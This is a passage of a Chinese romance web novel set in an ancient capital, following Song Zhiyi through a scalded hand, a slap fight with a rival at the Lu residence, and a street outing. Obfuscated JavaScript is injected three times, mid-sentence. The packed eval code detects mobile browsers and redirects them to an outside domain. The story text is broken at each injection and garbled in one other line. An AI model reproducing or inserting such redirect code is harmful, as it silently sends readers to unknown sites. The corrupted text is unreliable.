手上烧疼，心里颓丧，出了西院，宋知意没忍住抽泣起来。芒岁左劝右哄，不顶用，抱着她的两个包和上午插的一瓶花，愁眉苦脸，唉声叹气。 游廊对面，春来跟随陆晏清稳步过来。见宋知意在那抹泪，春来不由咦了声，纳罕道：“宋姑娘好像是哭呢，她哭什么呢？” 众所周知，宋知意没脸没皮、没心没肺，摊上天大的事也乐观开朗，从小到大，没哭过几回。 陆晏清耳闻目睹，并不在意，挺胸抬头自她身侧走过，却被她牵住了衣角。 “陆二……哥哥，你……今天回来得……好早……”她抽噎得说一句话顿几顿，再配上那红通通的眼眶，想必是伤心极了。 陆晏清这才留意见她肿胀的手背，皮肤上鼓起一串燎泡，不禁蹙眉道：“宋姑娘这是伤着了？” 春来也跟着落下目光，伤势倒没多重，这是拿他一样皮糙肉厚的下人来说的，换成宋知意一个娇小姐，肯定痛死了。 陆晏清难得的关切，犹如催泪剂，作用在宋知意的面目，泪如雨下，满脸莹润。 陆晏清以为她是疼得紧，哭个不休，何尝料想她是因自己一句寻常的问候而感动万分。 “春来，”老这么哭不成体统，陆晏清转头使唤春来，“去我书房，取金疮药来。” 他在朝为一介文官，可不妨碍他精通骑射，每日上朝前都要去后院练一个时辰，风雨无阻。他有习武的习惯，身体磕碰自然难免，鉴于此，手头一直预备着金疮药。 春来答应着连忙去。 宋知意眼泪汪汪道：“取金疮药……做什么，给我吗？” 陆晏清最看不得人家哭，何况她哭得涕泪横流，模样凄凄惨惨，别人见了倒误会是他欺负了她，便叫芒岁拿手帕给她擦擦。芒岁两手全占满了，腾不出手去抽帕子，委实有心无力。陆晏清气息一沉，勉为其难取了自己随身的手帕，递到她面前，说：“先把脸擦干净吧。” 啜泣戛然而止宋知意呆呆道：“这也是……给我的吗？” “是。”陆晏清坦然道，“金疮药给你，帕子也给你。所以，别哭了。” 春来急促的脚步飞入耳内，宋知意悻悻地接了手帕子，端详见上面绣着一朵小小的君子兰——陆晏清偏爱此花。默默将它叠方正，托于掌心，她抬起胳膊，用袖子胡乱揩了揩泪痕。 看她放着现成的帕子不使，反而用起了袖子，陆晏清有点不解，一壁接春来带来的药瓶于手心，检查是否拿对了，一壁说：“既有帕子，为何不用它，却污了衣裳？”查看无误，又转手向春来，由春来交于芒岁。 烫伤后的委屈劲儿渐渐平复，宋知意咧嘴笑开：“你给的东西，我舍不得弄脏了。” 陆晏清神色有些无奈：“那你的衣服就舍得脏了去？” 宋知意轻飘飘道：“衣服嘛，我家里多得是，脏就脏了，不值什么。可这方帕子，是陆二哥哥你的，我手里只这么一个……自然得珍惜。” 陆晏清无法回应，干脆偏离视线，揭过这茬儿：“一天搽三次，切忌沾水。” 淡淡嘱咐时，他不动声色地掠了眼她握在掌中的素帕——怎么着是贴身之物，既然她不使，那还是讨要回来为妥，然她才刚对其视若珍宝的话语萦绕心头，他想，倘然张了那个口，必然又是一场麻烦；他最怕麻烦，勉强说服自己，打消了伸手要的念想，回归了客气疏离的样貌，说：“好了，天色晚了，宋姑娘早些回吧。” 言尽，叫上春来走了。 天暖天长，回家时宋平仍在衙门办公。 芒岁顺道唤上家里的医师去屋子里替宋知意细细诊断过，又给看了看陆晏清给拿的金疮药。医师回说药是上好的，针对姑娘的烫伤有奇效，按时按点涂抹，那燎泡三四天就消下去了；后开了祛疤痕促生长的药膏子，叮嘱过用量，挎起药箱退离。 晚上宋平到家，听下人说姑娘伤了，急得不得了，官服也顾不迭脱，沿路小跑去了宋知意住处，却见她趴在方桌上，手里端着块手帕傻笑呢。宋平依着芒岁轻轻拉开的凳子坐下，问：“怎么搞的，手给烫了？” 身边几时凑过个人来，宋知意浑然未觉，吓了一跳，扭头抱怨道：“爹，你走路怎么没声儿呢？这也罢了，好歹先打个招呼呀。” 宋平连连叹息：“你这丫头，脑袋真不如你爹我灵光，这么大人了，居然把手糟蹋成这样。真不知放你去陆家是对是错了。” 听他口风，宋知意担心他不准自己去陆家了，急忙说：“我是以前没接触过烹茶点茶什么的，手生，不小心的，再多试几次，就熟悉了。我很聪明的！爹，你不要危言耸听好不好！” 宋平人到中年，身材走了样儿，人胖了，行走坐卧吃力些，这不刚刚焦心女儿的情况，跑了几步，眼前满头大汗。 宋知意看在眼里，问芒岁要了汗巾子，拿好的一只手替准备替他擦汗，脸上挂着狗腿子似的笑容：“我保证，没有下次了。爹，你别多心了。”说着往桌上陆晏清那块叠得方方正正的手帕子努嘴，“爹，你猜猜，它是谁的？” 宋平哪里舍得让她受累，自个儿捉着汗巾子，一面擦，一面稀松平常道：“不是你自己的，还能是谁的？” 芒岁在旁按捺不住，抢着答了：“是小陆大人的，”紧着晃了晃手里的白瓷药瓶，“连这个也是呢！” 宋知意回头嗔道：“属你嘴快。” 闻得和陆晏清挂钩，宋平可来了兴致，搁下汗巾子，眼珠子左右一转，点头笑道：“果然是陆二公子的，那可好起来了。” 今日陆晏清的关怀，扫清了胸中阴霾，今天意外的痛楚，连同前几天撞见他和崔璎的夜谈后的不快，宋知意通通抛在脑后，睡了个踏实觉。 次日唤醒她的，并非窗外耀眼的红日，也非外面下人干活时的互相低语，恰恰是一阵敲窗户的动静，紧接着钻进个烦人的人声：“宋如意，太阳晒屁股了，赶紧起来梳头洗脸，好给我开门。” 意识迷迷糊糊，宋知意不愿理会，捏着被子转身向床里侧。 没一会外面又喋喋不休：“喂，你再赖床，我可进去了？” 宋知意没搞明白外头啰嗦的是谁，光知道是个男的，他吵嚷着要硬闯，自己的睡相不就被看完了？荒唐！ 她一个激灵，搂着被子坐起来，揉揉惺忪睡眼，看真切窗外背对立着一个玛瑙色影子，猿臂狼腰，相当眼熟——不是薛景珩又是谁！ 宋知意仓促扯下外衫披上身，趿着鞋子移去窗前，敲敲窗上明晃晃的大玻璃：“薛云驰，你不是不理我了吗？你怎么又来了？” 猜着她衣衫不整，薛景珩避着嫌，以背影示她，说：“我可没你那么小心眼爱记仇，因为吵了两句，这好几天连个音信都没有。” 宋知意驳他：“我小心眼爱记仇？是谁突然拉着个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533295|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸，骂我眼瞎心盲来着？”她冷哼一下，“既然你来得不情不愿，那么自便吧。我困着呢，不远送了。” 薛景珩道：“自便什么自便？我来都来了。你迅速捯饬，再给我准备一杯凉茶。这大太阳，晒死了。” 宋知意皱皱鼻子，扮个鬼脸，故意损他：“晒死你正好，倒上我这装大爷了。” 闻她一如既往地嘴不饶人，薛景珩知道她不计较了，挑唇笑笑，低头瞄过手里的大大小小的礼盒，当中遍是万宝阁淘来的珠宝饰品，花了好大一笔银子，用来向她赔罪。 一炷香后，宋知意安顿停当，命芒岁开门。薛景珩信步进入，眼色示意芒岁接受手中之物，之后熟稔地坐上外间的交椅，这时另有侍女奉茶。 “全是我亲自挑的，”她打开那些盒子掌眼之际，薛景珩咽下一口香茶，面颊浮现丝丝得意，“我的眼光可是万里挑一的。怎么样？” 宋知意一样一样装回去，拍拍手往里间走：“你还是带回去给你母亲或者你家里的姐姐妹妹吧，我有镯子耳环，用不上。” 薛景珩急了，撂下茶杯。那茶杯是她从宋平那夺来的，她格外珍视，回头拧眉提醒：“你轻拿轻放，仔细碰坏了。” “坏了我一模一样赔你十个。”薛景珩摊手，起立追过来，“那些是我特地为你精挑细选的，你推三阻四，敢情是不拿我当朋友了？” 宋知意搬开圆凳，一边身子靠梳妆台，斜坐下来。“那些珠宝太贵重了，我若照单全收，万一你母亲觉得吃了亏，派人上我们家来理论怎么办？我可吃不消。不如一开始就干干净净，不惹这个乱子。” 因了解薛景珩的个性，知他有一大堆说辞，她先发制人道：“我这手阵阵作痛，牵连得头也痛。小少爷，拜托你念在我害病的份上，依着我，别跟我顶嘴了，成不？” 薛景珩这才留意到她发面馒头似的左手，略定了一定，叫文进至眼皮子底下，说：“回家跟大嫂各要一瓶疮口药和祛疤药，骑我的马去，快着点。” 不容插话，文进已领命，一阵风似的去了。 文进办事靠谱，不多时怀揣两种药回来复命。 彼时宋知意已表明自己有对应的药，是陆晏清给予的，薛景珩却明着较劲，叫她留下药，那堆饰品也得留下，否则就是辜负打小的友情。不想戴上一顶无情无义的帽子，她没再推辞。 家里有个病人，宋平时时惦念着，向衙门里说定近段日子午饭都回家解决。他顶头上司怜他孤女寡父的不容易，允他迟到早退。宋平自感激不尽。 待宋平赶回，薛景珩尚未告辞，正好，宋平挽留他吃顿午饭，薛景珩欣然应承。 自此，薛宋两人握手言和。 饭后，宋知意犯懒，回屋休息；宋平应酬着送薛景珩出门，笑吟吟看他骑上大马，挥手送别。 马背上，薛景珩因午时吃了两杯果酒，面色微红。文进恐他脑子不清楚，不敢由他纵马，牵着缰绳在底下慢慢行走，一会儿瞄一眼马上，一会儿抿一抿嘴巴，藏不住地纠结。 文进五岁就跟着服侍自己，薛景珩对他了如指掌，立时发问：“是不是母亲又针对我发什么话了？” 文进犹豫片刻，点头老实道：“少爷吃饭时，家里来了人，说夫人急等少爷回家，有大事商量。” “大事？”薛景珩嗤笑道，“母亲真是三天一件小事，五天一件大事。” 言下，趁文进不备，抢夺缰绳，夹紧马腹，吆喝一声，扬尘而去，急得文进拔腿紧追慢赶。 5. 当众打人 静心休养了四五日，宋知意等不及，收拾随身用品，隔天早上挽着芒岁，准时抵达陆府。 一起听学的其他四个人也陆续乘车到场，见她今儿过来，相互交换过眼色，其中礼部侍郎郑家的二姑娘郑筝带头问候：“呦，宋妹妹这是大好了？” 宋知意不冷不热道：“没好的话，我过来做什么呢？” 郑筝嗤笑道：“妹妹说话干什么夹枪带棒的？大家一块受教的情分，我们好心好意问问你，你这般没礼数，没得叫人笑话呢。” 其余几个如雨后春笋，纷纷冒出来应和。 这几个人和崔璎要好，都是一伙的，厌恶她，她心知肚明。眼下快到上课的时辰了，她懒得跟她们费口舌，撇下她们，叫上芒岁进了角门。 郑筝气得脸皮蜡黄，跺脚咬牙切齿道：“好个没教养的东西！” 几个跟班围上来，七嘴八舌宽慰，各人的意思差不多，大概是郑筝是什么家世，何必与一个暴发户的女儿一般见识，倒低了自己的身份。 听着众人追捧，郑筝心里舒服多了，挺直腰杆，端正头颅，从开着的西角门去向西院。 众人各自就位。何嬷嬷扫视一圈，见人齐全，便说起今天的安排，令她们五个练习点茶，令宋知意继续学习烹茶。 落后别人一大截，那也是无可奈何之事，宋知意只好加倍用心努力，尽量尽快追上进度。 午时，依照惯例，大家有序离开用膳。宋知意本想回自家用饭，无意间听见前面郑筝和崔璎搭话。 “昨晚听我父亲说，你表兄手伤到了，不要紧吧？”郑筝问。 “是手心被人用刀子割了一下，旁的没什么，就是影响握笔写字。”崔璎答。 “伤得不重，那就好。”郑筝松了口气，拍拍胸口道。 陆二哥哥受伤了？宋知意加快步伐，赶上她俩人，直言道：“陆二哥哥怎么受的伤？又是谁伤的他？” 郑筝暗暗翻个白眼，道：“告诉你又怎么样，难不成你还打算找到那人，给小陆大人报仇？我说，与其到处打听，你不如聪明些，多看多学，再别有泡个茶还不慎把杯子翻了，烫自己满手背燎泡的事。” 崔璎在侧闻听，暗自发笑，对外则不显山不露水，依旧扮演好和事佬的角色，出面打圆场：“宋姐姐也是担心表兄。宋姐姐，表兄是因公伤的，究竟是什么人下的手，表兄没提，我们也没头绪。” 和崔璎中间夹着郑筝，讲起话来不方便，是以宋知意绕到崔璎右手边，追问：“那陆二哥哥今儿可在家吗？”她想亲自瞧一瞧他的状况。 郑筝笑了：“宋知意，你脑子没糊涂吧？就算小陆大人在家，你一个外女，莫非想闯人屋子里问东问西？你懂不懂避讳，知不知羞耻？” 宋知意嘴且没来得及张，郑筝又拿话堵上来：“我这也是白问，你如果明明白白的，这几年也不能倒贴到满城风雨的地步。真是的，和一个暴发户养出来的拉扯个什么。” 背地里她们如何唾弃，她管不着，可把难听话摆设到她面前来，还连着她爹一并羞辱，她断然不让，大跨一步，直逼郑筝，冷然道：“说了些什么，再说一遍。” 瞅她黑炭似的颜色，郑筝感觉到了强烈的挑衅——区区一个五品官的女儿，哪里来的胆子跳到自己眼前耍威风！郑筝站住脚，化怒气为轻蔑：“我说你小门小户出身，和你爹一样，没有教养，恬不知耻，看见高枝就想往上攀，很是没有自知之明。” “说完了？”看不见的地方，宋知意攥紧了拳头。 郑筝扬起下巴，道：“说完了，又如何？” 宋知意了然点头：“你说完了，那就轮到我了。” 旋即，于郑筝的轻视，及围观者好奇的注视下，举起胳膊，直伸至郑筝的衣领前，一把揪住。“啪！”清脆的一巴掌抽上郑筝的右脸。 所有人大为惊愕，不约而同倒吸一口凉气。 芒岁醒过来，急上前劝阻，却遭宋知意无视，反而对半捂着脸呆怔的郑筝说：“骂我，骂我爹，打你一耳光算轻的。再叫我听见一次，我保证你肿成猪头，十天半个月出不了门，见不了人。你若不信，就来试试。” 她已经不是多年前那个随便旁人议论耻笑的小孩子了。谁敢侮辱宋家，她就揍到那个人哭爹喊娘求饶为止。 崔璎找回理智，忙去查看郑筝怎样，孰料猝不及防被推开，而郑筝疯了似的，抓着宋知意，两人扭打作一团，一个扯衣裳，另一个拽头发，期间叫骂不停，可谓乌烟瘴气。 众人都来拉架，可惜俩人跟两头牛一样，一个赛一个力气大，如何也拉不开。崔璎怕她俩打急了，闹出更大的乱子，命令绘柳速去找帮手。绘柳领着差事，飞奔而去。 没多会，何嬷嬷、周氏、陆夫人闻讯赶来。何嬷嬷大喝一声“住手”，宋、郑二人听在耳里，各自停手分开。 结果，宋知意的原有烫伤的手背给挠破了，上面赫然几条血印子，郑筝也没捞着便宜，精心挽的发髻歪歪斜斜，半边头发倾泻在肩上，宋知意的手心还捏着她一绺发丝——各有各的狼狈不堪。 双方的婢女围着主子问这问那之余，从头到脚，一寸寸检查伤情。 周氏心向宋知意，移步去她身旁，低声叹道：“好端端的，怎么打起来了？” 崔璎则贴近郑筝，举手为她拢了拢头发，表示关切：“郑姐姐，你感觉怎样，要不要紧？” 何嬷嬷本就严肃的脸添上一层厚厚的阴霾。她来头不小，陆夫人且敬她三分，不尴不尬道：“真是令嬷嬷见笑了。”随后板着脸孔，转向招惹出这场风波的两个元凶的婢女，“你们先扶你们姑娘去那厢房里整理整理，等等你们家里来接。” 一语了却，陆夫人叫大家都散了，该干什么干什么去；害怕那两个又有劲儿寻衅滋事，因特别放自己房里的大丫鬟丁香原地看守。 周氏操心宋知意，提出一块留下来，陆夫人点头称善。后和何嬷嬷一道离开。 丁香做主，开了东西厢房的门，请她们分别进入。郑筝直奔东厢房，气昂昂走到一半，满怀不服气，扭回头恶狠狠道：“宋知意，你别得意，等我母亲过来，才是要好好教训你呢！” 宋知意全然不把她的恐吓当个事，讥笑道：“好啊，我等着看你们的能耐。” “你放狠话我来接招”的一个回合结束，两人不欢而散。 西厢房里，周氏捧起宋知意的左手，吹了吹，语重心长道：“宋妹妹，你也忒冲动了，看看这手弄的，哪还有过去细皮嫩肉的样儿？” 宋知意振振有词：“她骂我爹，我忍不了，就得和她拼命。再者，她比我惨，头顶秃了一块，难看着呢。” 周氏给逗笑了：“你还真心大。得了，快想想一阵儿你家里大人过来，怎么应付吧！” 宋知意轻松道：“我爹总归是理解我的。” 周氏道：“是，你爹宠你，这是尽人皆知的。我是指郑家，不是善茬儿。” 郑筝的父亲以口蜜腹剑闻名朝野；她母亲虽有个不错的出身，却被家里惯坏了，对人颐指气使，一副市井泼妇做派，小到家里的仆人，大到她娘家的亲人，无人敢不从着她。 宋知意这点子狂妄劲儿，较郑母可差远了。故此，周氏才出此言。 宋知意冷笑道：“再不是善茬儿，不也得讲个道理？明明是郑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533296|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筝先侮辱我的，我即使动手，那也是被逼的。” 正说着，外边响起丁香的声音：“郑二姑娘就在里边，郑夫人请。” 芒岁挨近门，朝外望望，见丁香引着个丰腴贵妇人未及进东厢房的门，郑筝就从里面飞出来，一头扑到妇人怀里，呜呜哭诉有人欺负她；那妇人摩挲着郑筝的头脸，哄个没完，好容易哄住了，瞪着眼，凶巴巴道：“灵灵放心，我指定替你讨个说法！” 芒岁忙向宋知意报告所见所闻。 “没事，恶人先告状在我这不顶用。”宋知意起身，开门阔步出去，迎面看见郑家母女，郑筝头上那撮秃了的头皮，尤为抢眼，她忍不住噗嗤一笑：“你既梳头，怎么不变通一下，想法子把那地儿遮遮，露出来多丑啊。” 郑筝指着她对郑夫人告状：“母亲，你看她多嚣张！” 郑夫人拍拍郑筝的胳膊，自去宋知意面前，质问：“是你先出手打的我女儿？” 这时候，宋平扶着官帽，火急火燎来了，一下子拦在郑夫人对面，护宋知意于身后。 “爹，你总算到了。你再迟点，我就要给她们生吞活剥了。”宋知意学起郑筝那套，可怜巴巴道。 宋平没应声，单和郑夫人说：“小孩儿家打打闹闹，很正常，咱们做大人的，回去教训两句就好了，何必张扬起来，还是在别人家，多没脸。” 听着宋平讨好郑家，宋知意不干了，冒出来说：“才不是打打闹闹，是郑筝出言不逊，辱骂咱们家，我打她是应该的！” 宋平呵斥她：“大人谈事情，你个小孩子别出来捣乱！芒岁，快点送姑娘回家反省！” 官高一级压死人，更何况郑家老爷是三品大员，宋平开罪不起，宁愿委屈宋知意一回，决定赔个笑脸，大事化小，小事化了。 宋知意反抗着不走。宋平是真动了肝火，疾言厉色道：“你老子的话都不听了？回去！” 她何尝受过一句重话，当下眼睛就红了，甩手跑走了。芒岁赶忙追着。 郑夫人原揪着不放过，是宋平堆笑给赔了不是，态度恳切地承认是他疏于管教，日后必当严加看管，郑夫人方才罢休。 出来的回廊下，闷头撞着一个人，宋知意正憋屈着，不想管，对面却开口了：“是你打了人，你倒是又哭上了。” 是陆晏清。 她慌忙抬头，仰见他锁眉抿嘴；如是表现的他，太眼熟了——他在怪她。 “……别人骂我，骂我家里人，难道要我忍气吞声吗？”宋知意咄咄逼问。 “那是你们的事，不是我的事，也不是陆家的事。”陆晏清漠然道，“你们起冲突，非打架不可解决的话，可以在你家，也可以在她家，更可以在街头巷尾——陆家，并非你们出气撒火，比谁任性刁蛮的地方。” 刁蛮？他居然说她刁蛮？ “连你也怨我？” 于此，陆晏清不置可否。 他无意探究今日她们谁对谁错，他单纯是怕麻烦，而她们在陆家大打出手的行为，恰好给他添了麻烦：何嬷嬷为此十分不快，陆夫人无奈做出劝退宋、郑的决定，以防她们再次挑事；周氏一心一意助着宋，反复为其求情，荒谬的是，竟把他搬了出来，要听他的意见。 闺阁中的事，同他有什么干系？ 周氏既提出来，他正好在家养伤，不好推诿，则有了当前遇上宋知意且漠不关心的一幕。 前面一个麻烦等着，倘若再言语纠缠下去，搞不好又增加一个麻烦。思虑清楚，陆晏清便不理宋知意，举步而去。 一个个不分青红皂白，错怪自己，宋知意伤透了心，挥洒泪水，含怨赌气转头跑远了。 6. 街头偶遇 气冲冲回了家，宋知意锁门闭户。宋平随后回来，径直去她住处，怎么叫门也不开，更听她在里头吼叫：“我是个罪人，不值得你们费心思，你走，快走！” 宋平没辙，立在门口低三下四地哄：“哎呀呀，是爹错了，刚刚不该凶你。爹知错了，你先开开门，爹给你好好道歉，行不？” 宋知意处气头上，充耳不闻，不断重述撵人走的话。宋平劝得口干舌燥，终究撑不住，叮嘱仆人照看好姑娘，自己暂时撤走，寻思等天黑了再来一趟，小孩家家，气性来得快去得快，到那会八成心平气和了。 掌灯时分，宋平吩咐摆晚饭，他则亲去白日吃了闭门羹的地方，结果不尽如人意，宋知意仍然存着怨气，不肯见人。 望着黑漆漆的屋子，宋平焦头烂额，直挠鬓发。一筹莫展、长吁短叹时，迎来了转机——薛景珩不知几时从身后踱了出来。宋平两眼放光，惊喜不已：“薛小少爷过来，怎么不提前打个招呼？有失远迎，有失远迎。” 薛景珩淡淡道：“这不听说她挨了欺负，想着她心情指定不好，凑巧今儿晚上北街上有个马戏团表演，她没看过，便领她去见识一番；看尽兴了，那些郁闷的事自然就忘了。” 宋平欣喜得直拍手同意：“我正发愁呢，多亏小少爷过来。那丫头在里头生闷气，死活不理我，换成小少爷去叫门，她一准打开。” 瞥了瞥那黑洞般的屋子，薛景珩自信一笑，笃定道：“宋叔放宽心，交给我就完了。” 薛景珩走近房门，拍了两下，说：“你若是个有出息的，就开门出来。反之，我也不管你，你爱怎么样怎么样。” 他对她的性格了如指掌，她这人吃硬不吃软，激将法最好使。 不出所料，话刚落，门就敞开来，宋知意站在月光下，容颜被光束勾勒得凄清。“说谁没出息呢？” 宋平堆笑上来，不及开口说话，宋知意冷冰冰道：“我这小地方，容不下您这尊大佛。请您老哪里来的，回哪里吧。” 她倘然一哭二闹三上吊，这且没动真格，假如阴阳怪气起来，真真儿是记上仇了。 薛景珩解围：“宋叔，你先忙你的，至于宋如意，我跟她谈。” 不依着他还有什么法子，宋平点头应下，给他俩腾地方。 宋知意要关门，薛景珩眼疾身快，抓着门框挤了进来。她撇撇嘴，没言语，转而命人点灯。 不一会，昏昏灯影下，宋知意低头坐着，薛景珩在她对过一步远站着。 “今天的事，我全听说了。”他说，“你挨了欺负，你跟我说啊，我给你出气，干嘛一个人躲屋子里憋气？” 她抠着手指甲，说：“告你也没用。” “你小瞧我？”他嗤笑出声，“我是不和女孩子动手，可郑筝不有个亲哥哥么，天天在扎在公子哥儿里厮混。哦，他还欠我些钱呢。” 抠手的动作一顿，宋知意举目，正对上他戏谑的目光：“他欠你钱？你去赌坊赌钱了？” 薛景珩爱玩，是酒楼赌坊的常客，不过他有底线，不该碰的绝不碰。 薛景珩握拳抵于唇际轻咳一声，游走到旁边的交椅前，含糊其辞：“几个月前的事了，也没玩多少，都是小钱。” “你家里不是严禁你乱跑乱玩的吗？你又搞那乱七八糟的。哼，迟早露馅。”某种意义上，薛景珩此行的目的提前成功了，她目前的注意力悉数转移到了他又去赌钱上头，没多的心机忧郁伤怀。 薛景珩讪笑着：“那都多久的事了，要发现，他们早发现了。”然后把身子往她跟前凑凑，眉峰一扬，“横竖郑辉是欠我钱，数额挺大的，他不敢被他家里知道。你实在气不过，我就在这上头做一做文章，整一整他，也叫郑家鸡飞狗跳一回。我这主意，你觉得好不好？” 宋知意半信半疑道：“他该你多少钱？” 薛景珩掐指一算，比出两根指头在她眼前一晃。她吃惊表示：“两千？！” 薛景珩肯定道：“不错。这只是本金，他借走几个月的利息，我还没算呢。” “他玩多大呀，足足赊出两千多的账？” 薛景珩回避道：“那里头的门道深了去了，不是你该打听的。总之，你一句话，白天的仇，报还是不报？” 这一瞬间，脑海里划过今日宋平在陆家下气怡声的画面。郑家人不是好东西，可郑家三品官的头衔是货真价实的，宋家只是五品，偌大京城，五品官遍地走，果真报复回去，岂不是令她爹在朝里难堪？ 宋知意犹豫不决。 “郑辉是该我的债，我问他讨，天经地义。退一万步，郑家若觉得脸上无光，尽管来和我掰扯，与你没干系。”瞧出她的顾虑，薛景珩言之凿凿道，“我只认你的话：你说咽不下那口气，我就追究到底；你说不愿意，我姑且网开一面，放他一马。” 宋知意有所动摇，乜斜他：“你果然顶得住郑家人的恼羞成怒，我举双手赞成。” “小爷我一人做事一人当，你只管好吃好喝看好戏。”薛景珩口吻轻快，分毫不把所谓郑家放眼里。 解决完这档子麻烦，他站起来，言归正传：“街上有马戏团表演，走，跟我出去热闹热闹。” 宋知意坐着不动弹：“没兴趣，而且我还没吃饭呢。” 薛景珩盯准她随意搭在椅子扶手上好的那条胳膊，拉在手心，使出一成的力气，拽她离座，步步向外。“街上一个接一个的酒楼，还能饿着你？走就完了。” 宋知意：“我这一头乱糟糟的，总得容我打理一下啊！” 薛景珩让芒岁抱上她的妆奁，从容说明可以上了马车再打扮，马车里宽敞，漫说一个婢女伺候她梳妆，便是再来三个，也绰绰有余。 街头，人山人海，人头攒动。 薛景珩自然牵着她的手，拨开人群，跻身最前排，却见一个人正指引一只猴子做各种高难度动作。她固然初次见，却无甚兴致，倒不如纵目环顾四周形形色色之人来得有意思。谁知这一扫视，正正好在对面打量着两个熟面孔——绘柳及她头戴帷帽的主子，崔璎；二人目不转睛观看着杂耍，时不时指指点点、掩嘴嬉笑。 宋知意厌恨崔璎惺惺作态的样子，将脸一别，嗤之以鼻：“哪哪都有她，真晦气。” 周遭人声鼎沸，而薛景珩专注于她身上，一字不差把她的话语收入耳，视线飞快转了一圈，看见了对侧的两个熟人，心下一动，拖着她离开人潮，边走边说：“看你无精打采的，准是给饿的。先找个酒楼吃饱，再出来逛吧。” 宋知意没意见。总好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533297|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过留在那等着一会和崔璎虚伪问候的强。 转过街口，远远地过来两个人。宋知意与月经和你玩有一搭没一搭扯闲篇，没注意旁的，是芒岁留了心眼，隐隐觉得那两人身形很熟悉，又近了些，佐证了适才的想法。芒岁惊讶道：“咦？那不是小陆大人和春来吗？” 宋、薛的目光，齐聚于迎面过来的俩人。 此时，薛景珩身着鸦青色常服，头发半扎半披，神情和缓，静静朝宋知意手腕上环着的那只手投诸眼光。 宋知意有所觉察，暗暗抽走手。 放任自己的手在空虚中停留刹那，薛景珩直接使整条胳膊搭上她肩膀，打趣似的催促：“还走不走？你不饿，我也饿了。” 嫌他烦，宋知意抬手扒拉他。 一时，陆晏清移开目光，淡然如水道：“二位慢聊，陆某告辞。” “陆二哥哥！”宋知意下意识唤住，陆晏清竟挺下来，并不回头；她赶紧撇开薛景珩，快步去陆晏清身侧，仰头看他，深吸一口气，“白天，真的不是我挑事，是郑筝嘴里不干净。陆二哥哥，我没骗你。” 耐心听完，陆晏清好似不经意往她那儿看了眼。只一眼，她诚挚、委屈、倔强等种种情绪交织的面容无比清晰，这令他略感烦躁。可是区区一丁点的躁动，他居然没克制住，于语气里漏了出来：“孰是孰非，你不必与我解释。我还有事，先行一步。” 末了抬腿就走，宋知意又追上拦下，急切道：“不，我得解释，我不能让你一直误会我！” 陆晏清闭了闭眼，重复道：“宋姑娘，我说过了，不必解释。”然后绕开她，预备离开这个是非之地。 “陆二哥哥……”她心怀不甘，再次挡住他去路，乃至抓上了他的袖子，“我平时是不文静不乖巧，可我也是原则的，人不冒犯我，我绝对不会冒犯人。千真万确的就是郑筝侮辱我……你相信我，行吗？” 陆晏清动一动胳膊，尝试摆脱她，但她攥得越紧。他终于肯正视她，眼见她抿着嘴唇，泫然欲泣，心里没来由又翻起一阵焦躁。“……我信。可以放手了么？” 宋知意转悲为喜，整个人的气质立即积极向上起来：“真的？陆二哥哥你真的相信是郑筝的错？” “嗯。” “那……”突然，被晾在一边的薛景珩窜出来，捉着她的手腕子，不耐烦全然溢出来：“叙够了没？我快饿扁了，可以去吃饭了吧？” 宋知意忙拍他覆在自己皮肤上的手，连带着使眼色，意思是关键时候别添乱。 薛景珩看得分明，偏不如她意，又对陆晏清说：“陆大人，你不是还有事在身吗？不要耽误了才好。” 陆晏清面无波澜，颔首示意，渐行渐远。 来之不易的相处，就这么被搅黄了，宋知意气急败坏道：“薛云驰，你明明看见我在那挤眉弄眼，你干嘛硬出这个风头？你是故意跟我过不去吧！” 反正已经把陆晏清打发走了，薛景珩有恃无恐，嬉皮笑脸道：“我爱出风头，也不是一天两天了，你最了解的啊。”接着带她向前方的酒楼走，“我饿得前胸贴后背了，等我吃饱喝足，你想怎么出气，我发誓打不还手骂不还口。这总行了吧？” 宋知意不见外，立马踩了他一脚，丢下他进了酒楼。 7. 殷勤送药 翌日，芒岁叫醒宋知意，脸上洋溢着喜悦：“刚才陆家大少夫人打发金香过来，传话说姑娘什么时候好利索了，什么时候依然去陆家上课吧。” 消化了阵儿，宋知意猛然弹起来，左顾右盼道：“是谁来了，你给我叫进来，我问问清楚了。” 芒岁回：“姑娘有哪里不明白的，问我就是了，我都跟人打探完了。” 于是宋知意接连抛出疑问：“不是说不让我去了，怎么又改主意了？” “据说……是陆大少夫人在跟前劝了，还把小陆大人请了去说情，何嬷嬷不好拂小陆大人的颜面，就不予追究了。” “啊？”陆晏清出现在这门子事情中，委实超出了认知，宋知意面露呆色，“陆大嫂嫂说动了陆二哥哥给我求情？是你听错了，还是我发梦了？” 